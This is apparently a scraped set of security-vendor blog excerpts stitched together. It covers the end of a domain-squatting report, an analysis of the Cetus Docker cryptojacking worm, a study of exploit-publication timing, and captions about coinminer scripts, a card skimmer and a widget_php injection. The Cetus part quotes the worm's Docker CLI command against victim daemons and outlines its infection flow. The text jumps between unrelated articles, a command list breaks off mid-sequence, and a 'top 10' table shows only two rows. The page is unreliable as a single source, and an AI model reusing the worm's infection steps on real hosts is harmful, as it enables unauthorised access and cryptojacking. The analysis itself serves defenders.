In summary, domain squatting techniques leverage the fact that users rely on domain names to identify brands and services on the Internet. These squatting domains are often used for nefarious activities, including phishing, malware and PUP distribution, C2 and various scams. A high rate of malicious and suspicious usage among squatting domains was observed. Therefore, continuous monitoring and analysis of these domains are necessary to protect users.
Palo Alto Networks monitors newly registered domains and newly observed hostnames from pDNS and Zone files to capture emerging squatting campaigns. Our automatic pipeline publishes the domains it detects to URL Filtering and DNS Security using the appropriate category, including malware, phishing, C2 or grayware.
Analyzing the squatting ecosystem, we found that domain squatters prefer certain types of target domains, registrars, hosting services and certificate authorities. The following attributes are common in cases of malicious squatted domains:
Domain names that are targeting known financial, shopping and banking domains.
Domains that use frequently abused registrars and hosting services.
Domains that do not have completely validated SSL certificates.
Therefore, we advise everyone to be more careful when encountering these domains.
Palo Alto Networks customers using URL Filtering, DNS Security, WildFire and Threat Prevention are protected from the threats related to squatting domains mentioned in this blog. Using AutoFocus, our customers can further study the malware mentioned in this blog by using the tag AzoRult.
Acknowledgements
Special thanks to Daiping Liu, Kelvin Kwan, Laura Novak, Jun Javier Wang, Vicky Ray, Eddy Rivera, Erica Naone and Arun Kumar for their help with improving the blog.
Unsecured Docker daemons have been known to security professionals as a major threat since the early days of containers. Unit 42 recently wrote about Graboid, the first-ever Docker cryptojacking worm and unsecured Docker daemons. I conducted additional research by setting up a Docker daemon honeypot in order to examine how things look for an average Docker daemon in the wild and learn if the shift to the cloud caused by COVID-19 increased the prevalence and sophistication of targeted cloud attacks.
This blog will detail the discovery of Cetus, a new and improved Docker cryptojacking worm mining for Monero that was found in a Docker daemon honeypot we created. Cetus was created by TeamTnT, a group that's been attacking AWS and Docker daemons.
Palo Alto Networks customers running Prisma Cloud are protected from this through the Prisma Cloud Compute host compliance protection, which alerts on an insufficient Docker daemon configuration and suggests a solution.
The Honeypot
To conduct the research, I set isolated restricted Docker daemons and logged all the traffic coming through for the month of May. During that period of time, I witnessed various kinds of attacks, delivering anything from botnets to worms, and most of them were for the purpose of cryptojacking, especially for Monero.
One of the most frequent attacks captured my attention because it had a potential pattern of a worm. Unlike other attacks, here the honeypot was attacked from many different unsecured Docker daemon instances. According to my honeypot deployments and other research projects on container security, it is not common to see worms targeting unsecured Docker daemons. I decided to analyze the payload and determined that this was a new Docker worm: Each instance of the malware attempts to discover and infect other Docker daemon instances, in the local network and outside.
How Cetus Works
In Greek mythology, there are stories about a whale-like creature that looks innocuous but is actually a sea monster that wreaks havoc wherever it goes. The name of that creature is Cetus. Since the malware is aiming for Docker daemons and trying to disguise itself as legitimate binaries, I decided to name it Cetus.
Cetus disguises itself by impersonating a legitimate binary that is frequently used in Docker environments called Portainer. Portainer is a user interface (UI) management tool that offers a convenient way to manage multiple Docker environments. While taking over a new machine, Cetus copies itself to the victim and deploys an XMRig cryptominer payload. Cetus disguises the cryptominer as a different legitimate binary called docker-cache. It looks like a legitimate name but, unlike Portainer, it is not a name of a genuine binary.
Figure 1. Cetus life cycle.
The infection mechanism is simple and effective. Cetus uses Masscan to randomly scan subnets for Docker daemons and, once it finds one, it tries to spread by sending requests to daemon’s REST API. To add insult to injury, Cetus crafts these requests by using the Docker command line interface (CLI) tool.
The attack flow of Cetus is described in Figure 1. Specifically, the commands that Cetus runs are:
Check the daemon is exploitable and was not infected:
Shell
1
docker-H<victim>ps-a
Run a new container of ubuntu:18.04 from Docker Hub:
Reverse engineering Cetus was easy and fast since it doesn’t use any anti-debugging or obfuscation techniques and even has symbols. On the other hand, this was not the case with the miner. XMRig miner is one of the most widely used cryptominers for cryptojacking attacks, hence security tools treat it as a virus. Therefore, in order to deceive them in this attack, it was fully obfuscated, which made the reverse engineering process harder.
In addition, we can conclude the malware is new because it uses XMRig 5.5.3, which was released on Feb. 2, 2020.
Cetus’s architecture is simple. It contains two main functions:
miner_start and scan_start.
Figure 2. Cetus main function.
The function miner_start is straightforward. It opens /var/log/stmp.log in order to log Cetus’s actions, and after that, it runs the XMRig cryptominer, which utilizes the machine’s CPU in order to mine Monero.
The function scan_start is much more interesting and executes the core malware functionality. It picks a random 16-bit subnet and runs Masscan in order to scan the subnet for Docker daemons on port 2375. When it finds a daemon, it starts the infection process using the Docker CLI tool that was already downloaded.
An interesting thing about the malware is that every time it infects a Docker daemon, it calls the container in a different name. It has two lists of eight names each, and it randomly picks a name from each list and links them.
Figure 3. Malicious container names.
Then Cetus will run the miner with the name as an argument. The miner will identify itself to the mining pool with this name and send the actor information about the mining. That will allow the attacker to classify each miner and create statistics about the miners and the campaign through the mining pool API.
We can conclude from this and the logs mechanism that the operator of this worm wants to monitor everything carefully.
Conclusion
Malware targeting containers will gradually become more complex as attackers understand the potential of the cloud. This is the second Docker cryptojacking worm documented by Unit 42 after Graboid. In addition, we were able to link Cetus to TeamTNT, a group that's been attacking AWS and Docker daemons that used the same Monero wallet address as Cetus. We conclude that there is a growing trend of sophisticated attacks on the cloud.
Palo Alto Networks customers running Prisma Cloud are protected from this through the Prisma Cloud Compute host compliance protection, which alerts on an insufficient Docker daemon configuration and suggests a solution.
With the ever-increasing number of new vulnerabilities, vulnerability management becomes one of the most critical processes in ensuring continuous business operation. While it is clear that timely patching is essential, it’s also important to know quantitatively how a delay could increase risk. What is the chance that attackers breach my organization using a CVE just disclosed or using an unknown (zero-day) vulnerability? To understand the state of vulnerability disclosure and exploit development, Unit 42 researchers analyzed 45,450 publicly available exploits in Exploit Database at the time of this writing. The research correlated the exploit data with vulnerability and patch information to study exploit development in multiple facets.
The research reveals that:
Of the 45,450 public exploits in Exploit Database, there are 11,079 (~26%) exploits in Exploit Database that have mapped CVE numbers.
Among those 11,079 exploits:
14% are zero-day (published before the vendors release the patch), 23% are published within a week after the patch release and 50% are published within a month after the patch release. On average, an exploit is published 37 days after the patch is released. Patch as soon as possible – the risk of a vulnerability being exploited increases quickly after vendors release the patches.
80% of public exploits are published before the CVEs are published. On average, an exploit is published 23 days before the CVE is published. Software and hardware may also have vulnerabilities with public exploits that don't have CVEs. Check security updates from vendors frequently and apply updates as soon as possible.
We also reviewed the entire CVE list since 1999 and found that, on average, a CVE is published 40 days after its CVE-ID is assigned. Of the 177,043 entries we analyzed at the time of this writing, more than 10,000 CVEs have been in “reserved” status for more than two years. It shows that there is a long delay between vulnerability discovery and CVE publication.
Lastly, we looked at the top 10 most routinely exploited vulnerabilities in 2016-19 according to the U.S. Cybersecurity Infrastructure and Security Agency (CISA) to highlight the time difference between vulnerability, exploit and patch publication. Of note, major software vendors handle vulnerability patching much faster and have lower percentages of public zero-day exploits.
Palo Alto Networks customers can get assistance with vulnerability management through products including:
The Threat Prevention subscription for the Next-Generation Firewall.
Prisma Cloud, which can assist with vulnerability management by alerting users to and helping protect against attack scenarios, combining behavior-based analytics with the Prisma Cloud Intelligence Stream.
Many Palo Alto Networks products are powered by high-fidelity threat intelligence from AutoFocus and WildFire, which help keep up to date on threats in the wild.
Exploit Database Overview
Exploit Database is the largest repository for public exploits. At the time of this writing, there are 45,450 exploits in Exploit Database. Figure 1 left shows the number of exploits categorized by the exploit type and publication year. Figure 1 right shows the distribution of exploits by platform. The statistics show that web applications have been the most popular exploited targets since 2003.
Figure 1. Left: Exploits published since 2000 categorized by exploit types. Right: The platform that exploits were written on.
Figure 2 shows the Common Vulnerability Scoring System 2.0 (CVSS) scores and the severity of the exploits. 49% of the exploits have high severity (CVSS >=7), and 45% of the exploits have medium severity (CVSS <7 and CVSS >= 4). In other words, 94% of the public exploits are developed for vulnerabilities with medium or high severity.
Figure 2. Exploits published since 2000 categorized by vulnerability severity.
Timing Between Vulnerability, Patch and Exploit
To better understand the impact of public exploits, we analyzed exploits and their associated CVEs together. Note that not every exploit has an associated CVE. Some exploits simply don’t have CVE entries, and some exploits may belong to CVEs that are not yet published. Currently, there are 11,079 (~26%) exploits in Exploit Database that have mapped CVE numbers. We focused on the exploits with CVEs and analyzed the timings between vulnerability, exploit and patch publication.
Figure 3 shows a timeline from vulnerability discovery to CVE publication. The exact vulnerability discovery time is usually unknown, but the times that CVE-ID is assigned and the times that CVEs are published can be found in the CVE database. Typically, CVEs are published right after the vendors release the patch. Once the patch is released, adversaries who have access to the updated software can uncover the vulnerability by reverse-engineering the patch. As we will see, most exploits are developed and published in the first week of patch release. Some vendors may delay the CVE publication to give their customers more time to update.
When a CVE is officially published, information about the vulnerability is immediately available to the entire world. This is whenmost security vendors start developing their vulnerability signature and protection strategy. It is also the time that most adversaries begin to exploit the vulnerabilities. In this time-sensitive game between hackers and defenders, whoever acts faster has a better chance to win. This means the publication timings between CVE, patch and exploit provide interesting context about the ongoing struggle for security.
Figure 3. The timeline of vulnerability discovery/publication, patch release and exploit publication.Figure 4. The number of exploits published in different weeks after the patches are released. Zero-day exploits (published before the patch) have negative week indices.
Figure 4 shows the number of exploits published in different weeks after the patches are released. The bar above week 1 indicates the number of exploits published in the first week of the patch release. Exploits published before the patch release date (zero-day exploits) have negative week indices. Because vulnerability patch dates are not available in Exploit Database or a CVE database, we sampled 500 high-severity exploits since 2015 and manually identified their patch dates from the vendor sites. 14% of the exploits we studied were published before the patches, 23% of the exploits were published in the first week and 50% of the exploits were published in the first month. On average, an exploit is published 37 days after the patch is released. Since exploits come out so quickly on average, it underscores how imperative it is for organizations to practice regular and timely patching – it’s all too common to see years-old vulnerabilities still unpatched in running systems.
Figure 5 shows the number of exploits published in different weeks after the CVE is published. Similar to Figure 4, exploits published before the CVE publication have negative week indices. It is shocking to see that 80% of the exploits we studied were published before the CVEs are published. On average, an exploit is published 23 days before the CVE is published. On top of this, there are also the 75% of exploits in the database that don't have associated CVEs at all. We wondered what caused such a consistent discrepancy between the patch release date and CVE publication date. We looked into the CVE database (Figure 6) and found that not all CVEs are published immediately after the patch is released. As a result, there is a good chance that an exploit is already available when the CVE is officially published – illustrating one more way that attackers are too often a step ahead of security professionals.
Figure 5. The number of exploits published in different weeks after the CVE is published. Exploits published before the CVE disclosure have negative week indices.
Once a CVE-ID is assigned to a vulnerability, this CVE stays in “reserved” status. Detailed information of the reserved CVEs is kept confidential until the CVE is officially published. At the time of this writing, we analyzed 177,043 entries in the CVE list and counted the number of reserved CVEs. Figure 6 shows the number of published CVEs and reserved CVEs since 1999. On average, a CVE is published 40 days after its CVE-ID is assigned. However, more than 10,000 CVEs have been in “reserved” status for more than two years. It shows that there is often a long delay between vulnerability discovery and CVE publication. While major vendors usually have their CVE published right after the patch release, some vendors fail to update their CVE status in a timely fashion. These numbers also explain why so many exploits are made public before the CVEs are officially published (Figure 5).
Figure 6. Number of published CVEs and reserved CVEs (not yet published) by year.
Case Study: Most Exploited Vulnerabilities from 2016-19
We looked into the exploits and patch information of the top 10 routinely exploited vulnerabilities that the U.S. Cybersecurity Infrastructure and Security Agency (CISA) published on May 12, 2020. Table 1 lists the details. If a CVE has multiple exploits in Exploit Database, the exploit publication date is based on the earliest published exploit. The patch information is obtained from the vendor advisory pages. In this smaller sample set, 10% of the exploits are zero-day and 40% of the exploits are available in the first week after the patch release. These numbers match the statistics drawn from Figures 4 and 5. The percentage of zero-day exploits or exploits published before the CVE disclosure is lower than what we observed in the larger sample because the most exploited vulnerabilities often affect prominent vendors such as Microsoft and Adobe, who can resolve vulnerabilities and release updates much faster than many other affected vendors . Many third-party vendors or open-source projects do not have sufficient resources to handle newly reported vulnerabilities and end up having exploits reach the public before the patches or CVE publication.
CVE
Exploit-ID
CVE Published
Exploit Published
Patch Published
CVSS2
Description
CVE-2017-11882
43163
11/14/2017
11/20/2017
11/14/2017
9.3
Memory Corruption Vulnerability in Microsoft Office Equation Editor
CVE-2017-0199
41894,
41934,
42995
4/12/2017
4/18/2017
4/11/2017
9.3
Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows API
Table 1. Top 10 exploited vulnerabilities from 2016-19.
Conclusion
New vulnerabilities are discovered in ever-increasing velocity and volume. While not every vulnerability has an exploit publicly available, there is no doubt that the majority of known vulnerabilities have an exploit somewhere. A capable reverse-engineer can develop an exploit by analyzing the associated patch. The set of 45,450 public exploits we studied represents only a small part of the reality. Many exploits are privately owned and are only traded in black markets. The number of exploits and speed of exploit development observed in our research are most likely underestimated because we did not investigate private sources. The research reaffirms the importance of timely patching and updating. The chance of being compromised increases quickly as soon as the vulnerability’s patch is released. With many vulnerability scanning tools freely available, and knowing that most vendors have patches available before the CVE disclosure, there is no reason to delay any update.
Palo Alto Networks customers can get assistance with vulnerability management through products including:
The Threat Prevention subscription for the Next-Generation Firewall.
Prisma Cloud, which can assist with vulnerability management by alerting users to and helping protect against attack scenarios, combining behavior-based analytics with the Prisma Cloud Intelligence Stream.
Many Palo Alto Networks products are powered by high-fidelity threat intelligence from AutoFocus and WildFire, which help keep up to date on threats in the wild.
Get updates from Unit 42
Peace of mind comes from staying ahead of threats. Subscribe today.
Get the latest news, invites to events, and threat alerts
![The source on a compromised website, zoombangla[.]com, shows commands used to start malicious coinminers and set parameters for them, including how much of a victim's CPU it will utilize.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-42.png)
![The source on a compromised website, pojoksatu[.]id, shows default commands used to start malicious coinminers.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-43.png)
![This image shows all the external links, which are highlighted, pointing to libero[.]it. Though the link appears legitimate, clicking it redirects the user to a malicious site.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-46.png)
![This shows the source of www.clicautosate[.]it, where commands start the JSEcoin malicious coinminer.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-48.png)
![This shows a link in heureka[.]cz which apparently advertises anti-COVID products, but actually redirects the user to compromised sites.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-50.png)
![Source code of the page on heureka[.]cz containing malicious links, which are highlighted.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-51.png)
![Collection server: metahtmlhead[.]com. The section outlined in red shows credit card information collected during the web skimmer attack being sent to the collection server.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-54.png)
Executive Summary
![When an attacker manipulates an Ajax request that contains template name widget_php and malicious code placed in the parameter widgetConfig[‘code’], the render engine will convert the XML template widget_php to a string of PHP code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/09/word-image-6.png)
![The screenshot shows how a cybersquatting domain tries to trick users who visit it from a Chrome browser. The popup message reads "Before you continue to walmart44[.]com," and a blue button labeled "continue" is displayed with a green check mark.](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/08/word-image-59.png)
![This screenshot from a cybersquatting domain displays the title "Australlia Scholarship" [sic] and pops up security warnings in the top right corner, including, "PC might be infected!" and "Renew Norton License now."](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/08/word-image-61.png)
![This screenshot shows the technical support scam cybersquatting page translated to English. The messages at the top read "Error code 32, Call support [phone number], This computer window is disabled, This computer is infected with the Trojan virus, Your computer warns you that you are infected with porn spyware and viruses."](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/08/word-image-64.png)
Get updates from Unit 42 